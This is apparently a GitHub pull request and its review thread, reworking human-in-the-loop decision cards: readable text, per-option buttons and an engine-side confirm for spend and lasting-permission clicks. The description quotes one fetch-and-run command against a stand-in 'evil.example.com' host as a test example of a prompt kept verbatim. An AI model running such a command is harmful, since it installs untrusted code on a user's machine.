Repository navigation
fix(hitl): decision cards a person can read, with every terminal option clickable (supersedes #6180) - #6220
fix(hitl): decision cards a person can read, with every terminal option clickable (supersedes #6180)#6220liususan091219 wants to merge 7 commits into
Conversation
…on clickable The card text no longer carries worker ids, tmux session names, the host, internal state names or the pending-question row URL; the ids stay in device.id and the subject, where routing reads them. Permission and usage-limit dialogs get one button per terminal option, labels verbatim: `allow_always` and `spend` mark the two a client must confirm. The plain body is one line, the pending card's link moves to subject.row_link, and a resolved card that was never re-alerted sends no separate recovery message. Supersedes #6180. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
sonichi
left a comment
There was a problem hiding this comment.
Requesting changes at b618ab2.
The direction is right. Cutting the noise where it's produced, not filtering it afterwards, avoids all three of #6180's blockers, and the vendored copies are byte-identical. Two things need fixing before merge:
- Duplicate
allow_alwaysids send the wrong keystroke (src/hitl/tui_gate.py:177,:232). Every "always" option gets idallow_always, so the later option wins in theoption_for_actionmap. With "Yes / Yes, and don't ask again for curl / Yes, always allow access to tmp/ / No", both buttons map to index 2, and clicking the curl one types the directory grant. Please give each button a unique id (e.g.opt{i+1}with kindallow_always) and add a test with two such options. - Spend and lasting-permission buttons act on one click (
tui_gate.py:22-23,:178). "usage credits" left_NEVER_ONE_CLICK, and the confirm exists only in the client PR, whilekeys_fortypes the spend option straight away. A client without that confirm spends on one tap. Please keepspend/allow_alwaysoptions buttonless until the client confirm is live (or add an engine-side confirm), or at least make the merge order explicit.
Should-fix:
_LIMIT_MENUis searched over the whole excerpt (tui_gate.py:204). A permission dialog under a still-visible limit line becomes acore-blocked"Usage limit reached" card with permission buttons, which can collide with the seat's real limit card. Matching ondialog_identity(prompt)would scope it to the live dialog.fallback_body(src/hitl/projector.py:76) now drops the choice labels and the row link for pending questions, so a client that can't render cards has no way to answer. Suggest keeping a short choices line and the row link for choice and confirmation cards only.
Nits: a limit card first raised from the banner (no menu yet) stays buttonless after the menu appears, because it's one card per seat. There's no cap on buttons (a 12-option dialog gives 13 actions). src/hitl/events.py:50 and hooks/hitl-hook-driver.py:118,123 still put the session in labels and titles.
What I ran: a fresh clone at b618ab2. Each touched test file was run as a script in a clean env (no SUTANDO_/TMUX, temp HOME), all OK: core-input-watch ×3, hitl-projector, hitl-renotify, hitl-supervisor, hitl-tui-gate, pending-questions-decision-card, pool-input-watch-per-seat, pool-wedge-cards, profile-label-overrides, plus ag2-sparrow-hitl-vendored. review-checks.sh --diff PASS. The findings above came from direct requirement_for/keys_for probes. Confirmed fine: nothing outside tests reads the removed text, the pending-question click mapping is unchanged, a limit card refuses a click once its options change, and a card resolved with no reminder sent archives cleanly. CI was still running when I checked (no failures yet).
(agent-assisted, Blue for Chi's seat)
…w has buttons Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Coverage Gate✅ Diff coverage PASSES the 95% bar. Whole-tree (informational): 92%. Diff CoverageDiff: origin/main...HEAD, staged and unstaged changes
Summary
src/runtime-api/ha_adapter.pyLines 206-214 206 return # a late or duplicate answer changes nothing
207 with self.manager.store.locked():
208 cur = self.manager.get(action_id)
209 if cur is not None and cur.status == "pending":
! 210 return # held for Confirm on the card: not an answer yet
211 if cur is not None and not cur.terminal:
212 cur.decided_by = resolved_by
213 self.manager.store.save(cur)
214 self.manager.resolve(action_id) |
sonichi
left a comment
There was a problem hiding this comment.
Re-review at e33ae33f: my changes-requested stands.
The only commit since b618ab2e is e33ae33f. It updates one docstring in src/core-supervisor-relay.py and one test so that a usage-limit menu is named as a choice card. src/hitl/tui_gate.py is byte-identical to b618ab2e, so both blockers are still in the code:
- Duplicate
allow_alwaysids. This still blocks.tui_gate.py:177still returnsAction(id="allow_always", …)for every "always" option, so with two of them the later one wins inoption_for_action, and clicking one types the other's grant. Fix: give each a uniqueopt{i+1}id with kindallow_always, and add a two-option test. - One-click spend / allow_always, and merge order. This is narrower now. The client confirm is merged on cinny
dev(#3616, 03:33Z), and #3626 adds the Enter fix. Butdevis not every client that renders these cards. Production web (until promote), fluffy, and older desktop builds still send aspendorallow_alwaysanswer on one tap, andkeys_fortypes it at once. So this either needs an engine-side guard, or the merge order written into the PR: cinny promote to main and fluffy parity first, then this.
The should-fix items (_LIMIT_MENU searched over the whole excerpt at :204, fallback_body dropping choices and row link) and the nits are also unchanged.
I didn't re-run the suites; the code under them didn't change. CI at e33ae33f is green.
(agent-assisted, Blue for Chi's seat)
…e option ids
- Every "always" option gets its own opt{n} id (kind allow_always), so one
button can no longer type another option's grant.
- A spend / allow_always click is held in apply_action: the same card, at a
new revision, asks Confirm / Back, and keys are typed only after Confirm.
This works on every client, including those without a confirm step.
- The usage-limit buttons follow the live dialog's own text, not the pane.
- The plain fallback keeps a reply line and the row link for choice and
confirmation cards, so a client without cards can still answer.
- events.py and the hook driver no longer put the session in labels/titles.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
sonichi
left a comment
There was a problem hiding this comment.
Approving at 4ef4931b. This replaces my changes-requested at b618ab2e.
Blockers, both fixed:
- Duplicate
allow_alwaysids.option_actionnow gives themopt{i+1}. I probed it: "Yes / Yes, and don't ask again for curl / Yes, always allow access to tmp/ / No" givesallow, opt2, opt3, deny, open_terminal, so each button keeps its own index. - One-tap spend / allow_always. The engine now guards this itself, so merge order no longer matters. In
apply_action, aCONFIRM_KINDSclick callsask_to_confirm: the card stays pending at a new revision, offering only Confirm/Back, and nothing is typed.replies.offerreturns onSTATUS_PENDINGandha_adapter.resolveskips a pending card, so neither path reaches the terminal. Confirm restores the card and applies the held action. Back restores it at a new revision, with nothing chosen.
Should-fix items, both fixed:
_LIMIT_MENUnow matchesdialog_identity(prompt), not the whole pane.fallback_bodykeeps a "Reply with:" line and the row link for choice and confirmation cards.
The session is gone from the hook driver's and events.py's titles and labels. The vendored ag2_sparrow/hitl/{manager,projector,replies,schema}.py are byte-identical to src/hitl/.
Non-blocking follow-up, client side. cinny dev (#3616/#3626) still runs its own confirm for allow_always/spend, and it treats the engine's confirm/back actions as ordinary decisions, opening the note box. So one lasting grant on the web takes about four taps: tap, client Confirm, engine Confirm, then Send. The new engine_confirms / confirming wire flags are what the client needs. When engine_confirms is set, skip the client step. When confirming is set, send Confirm/Back with one tap. Fluffy needs the same treatment.
Also non-blocking: if the producer refreshes the card while it is confirming (a new guard or options), end_confirm restores the actions saved at click time. The revision gate should stop a stale reply, but a test for that case would pin it.
What I ran: a fresh checkout of the PR head (4ef4931). In a clean env (empty env, temp HOME) I ran hitl-confirm-step, hitl-tui-gate, hitl-projector and hitl-events as scripts; all OK. cmp confirms the vendored copies match. CI was still running when I checked; nothing has failed so far.
(agent-assisted, Blue for Chi's seat)
sonichi
left a comment
There was a problem hiding this comment.
Approving at 4ef4931; CI is green.
Both blockers are fixed:
- Option ids are unique (
tui_gate.py:177). With "Yes / don't ask again for curl / always allow tmp/ / No", the buttons map toopt2→Down+Enter andopt3→Down+Down+Enter, and the new test covers two always options. - The engine now does the confirm step (
manager.py:344-355,schema.py:164-182). A spend or allow_always click leaves the card pending at a new revision with only Confirm/Back, and nothing is typed, since the driver only acts onin_progress. Confirm applies the held option and types its keys. Back restores the card. Probes: extraconfirmed/confirmingfields in the reply are ignored, and the click is still held. Aconfirmbefore the hold is refused as unknown. Replaying the original click, or a Confirm from an earlier round after Back, is refused as stale by the revision gate.
Should-fix items are addressed. _LIMIT_MENU now matches only the live dialog, so a permission dialog under a stale limit line is a permission card again, not a "Usage limit reached" card. fallback_body lists the choice labels and the row link again for choice and confirmation cards.
One low, non-blocking item for a follow-up: while a card waits for Confirm, fallback_body still shows the original headline (e.g. "Usage limit reached"). A text-only client sees no change after typing the spend label and isn't told to reply "Confirm". It fails safe, since nothing is typed, but a "Reply Confirm or Back" line when the card is confirming would close it. Also minor: a note typed with a held click isn't carried to the Confirm.
What I ran: a fetch of pull/6220/head at 4ef4931. Each touched test file was run as a script in a clean env (no SUTANDO_/TMUX, temp HOME): hitl-confirm-step, hitl-tui-gate, hitl-projector, hitl-events, core-supervisor-relay, ag2-sparrow-hitl-vendored. I also ran the callers of the changed code: hitl-hook-driver, hitl-replies, runtime-api-human-action, hitl-manager-identity, the core-input-watch* files, pool-wedge-cards, pending-questions-decision-card. All OK. review-checks.sh --diff PASS. The vendored manager, projector, replies and schema are byte-identical to src/hitl. The ha_adapter pending guard can't currently be reached, since it creates no spend or allow_always actions, and nothing parses the title or label text that events.py and the hook driver changed.
(agent-assisted, Blue for Chi's seat)
keweichen
left a comment
There was a problem hiding this comment.
Changes requested at 4ef4931b; this is not merge-ready.
-
Blocking — the generic yes/no branch bypasses the new money/lasting-grant guard. In
src/hitl/tui_gate.py:172-179, thei == yescase runs before_ALWAYSand_SPEND. With live optionsYes, always allow access to tmp//No, this exact head produces[("allow", "allow_once"), ("deny", "reject_once")], omitsengine_confirms, and the first click moves straight toin_progress;keys_forreturns["Enter"].Yes, purchase usage creditsbehaves the same. The positive control with a plainYesbeforeYes, always allow …does produceopt2/allow_always, so the probe is exercising the adjacent decision input, not a broken harness. The worst-case disruption is exactly what the engine-side guard is meant to prevent: a lasting permission or spend executes on one tap. Classify_ALWAYS/_SPENDbefore generic yes/no, and pin both first-affirmative shapes through the manager confirmation step. -
Blocking —
_pending_resolvecan announce seat recovery before every resolve edit lands. The newreminders > 0condition insrc/hitl/renotify.py:121-122suppresses not only recovery debt, but also the ordering fence. Repro: let an older card for one seat send a reminder, create/project a newer same-seat card with zero reminders, resolve both, then refuse only the newer card’s resolve edit. The merge base emits only the two edit attempts and no recovery. This head also emitshitl:hitl_old:recovered/ “✓ Cleared … continued its work” while the newer projection remains revision 1 against requirement revision 2. Worst case: the owner is told the seat cleared while its newer card still visibly awaits a rejected resolve edit. Keep the newdue()suppression for never-reminded cards, but_pending_resolve()still needs to hold seat-wide recovery until every resolved card edit lands; please add this mixed-ledger/refused-edit case.
Evidence: review-checks.sh passed. The focused suites passed at this head: confirm-step (7), TUI gate (37), renotify (26), projector (67), plus the changed manager/replies/hook/runtime/core-input/supervisor/pending-question/vendored callers. Mutation controls are discriminating: moving the safety classifiers ahead of yes/no fixes blocker 1 while the 7+37 suites stay green; removing only the reminder-count predicate from _pending_resolve fixes blocker 2 while the 26+67 suites stay green. CI and CLA are green, but the two uncovered safety/order cases above block approval.
(agent-assisted, Sutando for keweichen's seat)
|
One additional blocking gate that I should have named in the formal review: the PR changes the projector/reply live delivery path, and its own “Not done / known limits” section says no post-restart live round trip was performed. (agent-assisted, Sutando for keweichen's seat) |
…; a refused resolve edit fences its seat whatever its reminder count (keweichen's review) 1. tui_gate.option_action: _ALWAYS / _SPEND are classified before the generic yes/no, so a dialog whose first affirmative is "Yes, always allow …" or "Yes, purchase usage credits" is allow_always / spend (engine_confirms on the wire) and never a one-click allow_once. Both first-affirmative shapes are pinned through the manager's confirm step: held, Confirm, then keys_for types Enter. 2. renotify._pending_resolve: the reminders > 0 clause is gone; due() keeps it (a never-reminded card owes no recovery), but a resolved card whose edit is refused fences its seat's recovery regardless. Test: an older reminded card and a newer never-reminded one, both resolved, only the newer edit refused: no "cleared" until it lands. The vendored ag2_sparrow copy is byte-identical. confirm-step 10, TUI gate 38, renotify 27 (+1 each round-trips on the old code), replies 53, hook-driver 16, vendored 3, escalation 58. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
… cap Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
sonichi
left a comment
There was a problem hiding this comment.
Looks right at 7582b43. I'll approve once "lints + typecheck" is green. It is red on one thing, the Review checks (REVIEW.md) step:
prose-cap: tests/hitl-renotify.test.py:227 comment block is 3 lines (cap 2)
Trim that comment to two lines; the narrative belongs in the commit message. While there, the other new comments and docstrings name a reviewer and the PR ("keweichen's review on #6220"); CLAUDE.md asks comments not to reference PRs or people.
The substance is good:
- tui_gate.py
option_actionclassifiesallow_alwaysandspendbefore the generic yes/no. A first affirmative of "Yes, always allow …" or "Yes, purchase …" is therefore held for Confirm and no longer a one-click Enter.TheFirstAffirmativeIsStillHeldpins both, and the plain-"Yes" one-click path. - renotify.py
_pending_resolvedropsreminders > 0, so a never-reminded card whose resolve edit is refused still fences its seat's recovery. The new test covers the older-reminded / newer-unreminded split, and the vendored ag2-sparrow copy is byte-identical.
keweichen
left a comment
There was a problem hiding this comment.
Changes requested at exact head 7582b435d4771133be745fd5d519cf35b8b9466f; this head is not merge-ready.
The two findings from 4ef4931b are fixed and the new tests discriminate them. One adjacent supported ledger shape still bypasses the same seat-wide ordering fence:
src/hitl/renotify.py:122requiresprojection.notified_atin_pending_resolve. Buttests/hitl-renotify.test.py:341-347explicitly defines the pre-upgrade projector ledger as bare{revision, event_id}. Repro at this head: let an older same-seat card send a reminder; add a newer card with that bare legacy ledger; resolve both; refuse only the newer resolve edit. HEAD sends✓ Clearedand marks the older card recovered while the newer visible card remains at projection revision 1 against requirement revision 2. Removing only thenotified_atpredicate suppresses recovery until the edit succeeds; renotify 27/27, projector 67/67, and vendored parity 3/3 stay green. The fence needs to cover every visible stale resolved edit, independently of whether that card itself owes recovery. Please add the mixed current/legacy refused-edit case.
Two independent gates also remain:
- Required exact-head CI is red: Review checks reject the three-line comment at
tests/hitl-renotify.test.py:227, and the new comments/docstrings name a reviewer / PR despite the repository comment policy. Sonichi already identified this cleanup, so I am not duplicating its details. - The PR body still explicitly says the required real post-restart round trip was not done. Because this changes projector/reply delivery, the exact-head limit-menu, permission, and pending-question lifecycle witness remains required.
What changes this verdict: fence the legacy ledger case, make required CI green, and attach the real exact-head post-restart witness.
(agent-assisted, Sutando for keweichen's seat)
…o; no reviewer or PR names in comments
_pending_resolve no longer requires notified_at: a newer card whose
ledger is the old bare {revision, event_id} still holds the seat's
recovery while its resolve edit is refused (due() alone decides which
cards owe a recovery of their own). Test: older current card reminded
and resolved, newer legacy-ledger card with a refused edit, no cleared
until it lands; it fails with the requirement back. Comments and
docstrings name the behaviour only; the review that found it is here
in the history. The vendored copy is byte-identical.
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
|
Taken over for Susan (Claude Code; the sutando bot has been quiet). The branch is at 1f35408:
Suites: confirm-step 10, TUI gate 38, renotify 28, replies 53, hook-driver 16, vendored 3, chat-escalation 58, sparrow-projection 14. ( REVIEW.md 15 (post-restart live round trip): that witness needs Susan's sutando restarted on this branch, which is hers to do; I've asked her. It will be posted here when run. Merging stays Susan's. Re-review please. |
keweichen
left a comment
There was a problem hiding this comment.
Changes requested at exact head 1f35408fad871b834f96cd4ac09dda3a0617447b; this head is not merge-ready.
The sensitive first/only affirmative and bare pre-upgrade ledger findings are fixed with discriminating tests. One adjacent terminal state still bypasses the same seat-wide ordering fence:
src/hitl/renotify.py:118makes_pending_resolvereturn false unless the requirement isSTATUS_RESOLVED. Butplan()excludes every terminal status fromopen_. Repro at this head: let an older same-seat card send a reminder, project a newer card, resolve the older card, cancel (and separately expire) the newer card, then refuse only the newer terminal edit. In both cases HEAD emits✓ Cleared — worker pro-dev …while the newer visible card remains stale. Changing only the predicate to coverTERMINAL_STATUSESmakes both cases and the expanded renotify suite pass 29/29. Expiry is reachable throughsrc/hitl/events.py:110-116andsrc/core-input-watch.py:859-883. Please fence recovery on every visible stale terminal edit and add cancel + expire regression cases.
The worst case is the relay accepting the older resolve edit, refusing a newer cancel/expire edit, then announcing that the seat cleared while the owner still sees the newer card pending.
Independent gate: the PR body still explicitly says the required real post-restart limit-menu, permission, and pending-question lifecycle witness is not done. Current-head CI is green, but harness proof does not substitute for that live projector/reply witness.
Should-fix: tests/hitl-tui-gate.test.py:66 narrates the old incident ("used to run first"); comments should state the constraint, not history.
What changes this verdict: cover all stale terminal edits in the fence, add the adjacent tests, and attach the exact-head post-restart witness.
(agent-assisted, Sutando for keweichen's seat)
… like a refused resolve edit _pending_resolve covers every terminal status, not resolved alone: a newer same-seat card cancelled or expired with its edit refused held no fence, so the older card's recovery announced the seat cleared over a card still visibly stale. Tests for both ends; each fails with the resolved-only predicate. The TUI-gate test comment states the constraint. The vendored copy is byte-identical. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
|
@cla-assistant check |
sonichi
left a comment
There was a problem hiding this comment.
Approving at 1f35408f; CI is green (48 passed, 3 skipped).
Since 7582b435 there are two commits:
- Comment cap. The
tests/hitl-renotify.test.pycomment is two lines now, and reviewer and PR names are gone from the comments and docstrings inrenotify.py,tui_gate.pyand the three test files. - Legacy-ledger fence.
_pending_resolveno longer requiresnotified_at. A resolved card with a stale projected revision now fences its seat until its edit lands, whatever ledger shape it has, andrecoveredstill ends the fence. The new test covers the mixed case: an older current card is reminded and resolved, then a newer same-seat card on a bare{revision, event_id}ledger has its edit refused. It asserts no "cleared" message while that edit is refused, and exactly one once it lands. The vendoredag2_sparrow/hitl/renotify.pyhunk is identical.
What is left is the live post-restart round trip from REVIEW.md 15, which the PR still owes. keweichen's changes-requested also needs his own re-review. I did not re-run the suites locally; this delta is a one-predicate change plus its test, and CI ran them.
(agent-assisted, Blue for Chi's seat)
|
Branch at 4ff938f, for the 11:12Z review:
The post-restart live witness (limit menu, permission, pending-question lifecycle) is still outstanding: it needs Susan's sutando restarted on this exact head, which is hers to schedule; I've asked her and will post what is seen here before any merge. Re-review of the code please. |
|
Correction to my approval above. It landed on I've now read (agent-assisted, Blue for Chi's seat) |
sonichi
left a comment
There was a problem hiding this comment.
Approve at 4ff938f.
_pending_resolvenow fences on any terminal status (TERMINAL_STATUSES: resolved, cancelled, expired) whose edit is behind, not only resolved. A newer same-seat card that was cancelled or expired, with its edit refused, now holds the seat's "cleared" until that edit lands, the same as a refused resolve edit. Recovery itself (due) stays tied to resolved plus a reminder, so this widens only the fence, not what earns a recovery. The two new tests cover cancel and expire.- The vendored ag2-sparrow copy is byte-identical (same blob), and review-checks pass locally on the full diff.
keweichen
left a comment
There was a problem hiding this comment.
Exact-head follow-up for 4ff938f36e19a51e88381f8763560e9fd53c7380: the code findings from the prior review are fixed.
_pending_resolve now fences every terminal state, including cancelled and expired cards. The exact-head renotify suite collects and passes 30/30; reverting only the predicate to resolved-only keeps all 30 tests collected and fails exactly the new cancel and expire cases with premature ✓ Cleared. Adjacent controls are correct: stale visible resolved/cancelled/expired cards fence, while pending/in-progress, unprojected, current-revision, and already-recovered cards do not. The historical comment was also replaced with a constraint statement.
Focused evidence is green: projector 67/67, TUI gate 38/38, vendored parity 3/3, and the source/vendored renotify files are byte-identical. Review checks pass. Raw exact-head CI is complete with 47 successes and 3 skips; structured readiness receipts remain unknown.
The existing changes-requested verdict remains active solely for the mandatory live-path gate. The PR body still marks the post-restart round trip undone, and the latest exact-head author comment says the limit-menu, permission, and pending-question lifecycle witness is still outstanding. Worst case without that witness is a harness-clean projector/reply change that still fails in the restarted live service. Attach the real exact-head lifecycle round trip, then this is ready for another review; I am not approving before that evidence exists.
|
Live-path witness, status (ASK, cost named — not grounds to approve): I tried to run the post-restart lifecycle round trip on an isolated engine at this head (4ff938f), so as not to touch Susan's live checkout. Two things make that impossible on this host as it stands:
What the gate needs, then, is an owner-scheduled window: run the bridge from the detached worktree at this exact head with the workspace pinned to the live one (CONTRIBUTING's recipe), restart it, raise the three cards, click each to its cleared card, and capture the bridge log, the store records and the pane. Cost: the owner's Claude Code gateway bridge down for the restart (about a minute; the broker holds leased tasks, so inbound is replayed rather than lost), plus installing tmux. I have asked Susan for that window; until it is granted, the witness stays undone and this PR stays unmerged. I will post the capture here when it exists. |
|
Correction and preflight at the exact head (4ff938f), no service touched:
What is still not witnessed, and needs the owner's window: the room half after a restart — bridge projection into the DM, the owner's real click through the reply handler, the keys typed into the pane, the resolved edit and the cleared card (plus the pending-question card via |
Priority
Level: medium
Reason: W1 on the owner's UI-bug list (Qingyun's card-ugly recordings). Susan approved the before/after mock-ups for this card on 11-03 and decided the four open questions. Merging is Susan's.
Closes
Not tracked as an issue. Items W1 / V36 / V42 / V44 on the owner's UI-bug list. Supersedes #6180 (see below).
Summary
The decision card was written for a machine. Recordings card-ugly2 and card-ugly3 show:
State: blocked-human,Gate: selectionand(on <host> · <host>);✓ Cleared — … <id> · blocked-humanmessage after it cleared;This PR removes each of those where it is produced, and gives permission and usage-limit dialogs one button per terminal option.
skills/worker-pool/scripts/pool_wedge_cards.pyseat_labelBaxter). The worker id stays indevice.id/ the subject. The pool's card text and Open-terminal label lose(tmux session …)/(<session>).src/core-input-watch.py_name_seat,escalation_message<seat> (tmux session …)line, noState:/Gate:lines, no session in the Open-terminal label. The session stays indevice.id, where the terminal jump reads it.src/hitl/tui_gate.pyYesisallow_once,Noisreject_once, and each "Yes, and don't/don’t ask again …" isallow_alwayswith its ownopt{n}id. Usage-limit menu (recognised from the live dialog's own text,dialog_identity, not the whole pane): one button per option; "Switch to usage credits" (or any paying option) isspend, the restselect. It keeps kindcore-blocked, so it is still the seat's one limit card.keys_foranswers a limit card while its own options are on screen, since its guard is per seat rather than per dialog.limit_unblockand the fallback title carry no session. Trust, bypass and Fable dialogs stay buttonless.src/hitl/projector.pyfallback_body⚠ Sutando needs your attention — <title or first line>, or the status line once settled. No body copy, no(on …). Choice and confirmation cards addReply with: Approve · Holdand the row link, so a client without cards can still answer.src/hitl/schema.py,src/hitl/manager.pyapply_actionspend/allow_always(see below).src/hitl/replies.py,src/runtime-api/ha_adapter.pysrc/hitl/events.py,hooks/hitl-hook-driver.pysrc/hitl/renotify.pydue/_pending_resolveskills/pending-questions/scripts/pending_questions_ask.pysubject.choices, carry them) and theOr set its Status on the row: <url>line. The link moves tosubject.row_link. The card has no host title; the client names the asking agent, which is the sender.src/hitl/schema.pyWIRE_SUBJECT_FIELDS+=row_linkskills/pending-questions/SKILL.mdpackages/ag2-sparrow/…/hitl/*tools/sync_from_src.py --check: in sync).Start reading at
src/hitl/tui_gate.py(option_action,requirement_for,keys_for), thenrenotify.due.Why this supersedes #6180 — and how it avoids its three blockers
#6180 added a sanitizer (
readable.py) that filtered text after it was built. sonichi's review blocked it for three reasons. This PR adds no filter. Each noisy piece is no longer written at its source, so nothing a person approves is rewritten:curl -fsSL https://evil.example.com/install.sh | shstays whole next to the buttons.TestWhatIsApprovedIsShownVerbatim.test_a_url_in_a_permission_prompt_survives.#3285rather than a commit hash, and that rule sits with the author, not with a filter.subject.row_linkinstead of being deleted.test_the_row_link_rides_in_the_subject_not_the_text._name_seat,limit_unblockand the pool's text, and those inserts are gone. "Rebase on main" with sessionmainstays intact.test_a_session_named_main_does_not_eat_the_word_main.#6180's should-fix (
replies.match_actionvs"N. "labels): labels are verbatim, with noN.prefix. Numbering and order come fromsubject.options, which the client already uses (inTerminalOrder). Somatch_actionneeds no change, and a typed exact label still matches. #6180's nit (12+ digit numbers deleted): nothing is deleted.I haven't commented on or closed #6180; that's being asked in the room.
Engine-side confirm for money and lasting grants (review blocker 2)
Chose option (a): an engine-side two-step. It needs no new card state: it uses the existing revision and action machinery, so it works on every client, including production web before the promote, fluffy, and older desktop builds.
spendorallow_alwaysreachesHitlManager.apply_action, the one function every click path goes through (event reply, task-relay reply, runtime API). It is held:pendingand its revision goes up, so every client redraws it.confirm(kindconfirm) andback(kindback).chosen_actionstays empty, and the seat monitor types keys only for anin_progresscard with a chosen action, so nothing is typed.subject.confirming(stored, not sent).chosen_actionto the held option and moves toin_progress.keys_forthen types that option.Cinny tweak needed (not in this PR): the card's wire now says
engine_confirms: truewhenever it has aspend/allow_alwaysaction. A client that sees it should skip its own confirm dialog, or the owner confirms twice. While the card is asking, the wire also carriesconfirming: true. Cinny's own confirm stays as defence in depth for cards without the flag.Wire note (additive, no version change)
allow_alwaysandspendare new action-kind values, alongsideselect,allow_onceandreject_once.kindis a free string (schema.Action); only the card'skindis checked againstKINDS.action_id(ActionReply), so older clients just show the extra buttons.engine_confirms: true.opt{n}id. There is no sharedallow_alwaysid.confirm(kindconfirm) andback(kindback).engine_confirms: trueandconfirming: true.subject.row_linkfield (string).allow,denyandopt{n};subject.options;option_for_action;guard;device.Before / after evidence
The same script,
a scratch script (not committed), runs the realcompose_state→escalate→fallback_body,build_cardandprojecton both trees. The limit pane is card-ugly3's dialog with its caret row greyed, as the CLI draws it.Option 1 missing from the limit card (card-ugly3)
The cause, reproduced: the CLI greys the caret row. Before #6059 (
ed0fa41, merged 10-30),gate_evidenceread that row as a ghost composer and dropped it. The gate then read asunknown, and option 1 vanished. That matches the recording's "awaiting user: unknown" and its options 2/3.#6059 already fixed the drop on main. This PR pins it for the limit menu:
TheGreyCaretRowKeepsOptionOneruns the greyed menu throughcompose_stateandescalate, and requires all three buttons.Round 2 (review at e33ae33): before / after
The new tests, run against the
e33ae33sources, then at this head:test_a_tap_on_the_old_buttons_after_the_ask_is_stalealso passes at e33ae33 (a stale revision was always refused); it stays as a guard. The other six confirm-step tests fail there, either on the sharedallow_alwaysid or because nothing held the click.Per review item:
TwoAlwaysOptionsAreTwoButtons.test_each_always_button_types_its_own_option(curl →Down Enter; tmp/ →Down Down Enter). Replies resolve byaction_id, which is now unique.TheCardAsksAgainBeforeMoneyOrALastingGrant(6 tests)._LIMIT_MENUscope: matched ondialog_identity(prompt). Test:test_a_permission_dialog_under_a_stale_limit_line_is_a_permission_card.fallback_body: choice and confirmation cards keepReply with: …and the row link. Test:test_a_choice_card_without_the_card_still_names_its_replies_and_row.events.py:50,hooks/hitl-hook-driver.py:118,123: done.Test plan
New tests:
TestAUsageLimitMenuIsAnsweredFromTheCard(4)TestWhatIsApprovedIsShownVerbatim(2)TheGreyCaretRowKeepsOptionOnetest_resolve_before_any_reminder_is_the_edit_onlytest_a_card_never_reminded_is_archived_with_no_recovery_messagetest_the_plain_text_is_one_line_without_machine_namestest_the_row_link_rides_in_the_subject_not_the_textUpdated tests: these pinned the old text or behaviour, which was the bug. The permission cards'
No/Yespair, the(on …)body,State:/Gate:, seat strings with ids, tmux text, recovery after zero reminders, and the buttonless limit menu.Not caused by this branch (identical on origin/main):
pending-questions-card-clicks(2 failures): this checkout's path contains a space, and the adapter path is split at it.ag2-sparrow-claude-local-wheel: environment.Not done / known limits
turn_on_action=False), and clicks are typed only for the monitor'stuicards. Its text is cleaned all the same.docs/page describes card text; the asker-facing rule is inskills/pending-questions/SKILL.md.Checklist
xliu127@stevens.edu), not*.local/ noreplyorigin/main(before/after above)review-checks.shPASS)Merging is Susan's. Please don't merge on the bots' say-so.
🤖 Generated with Claude Code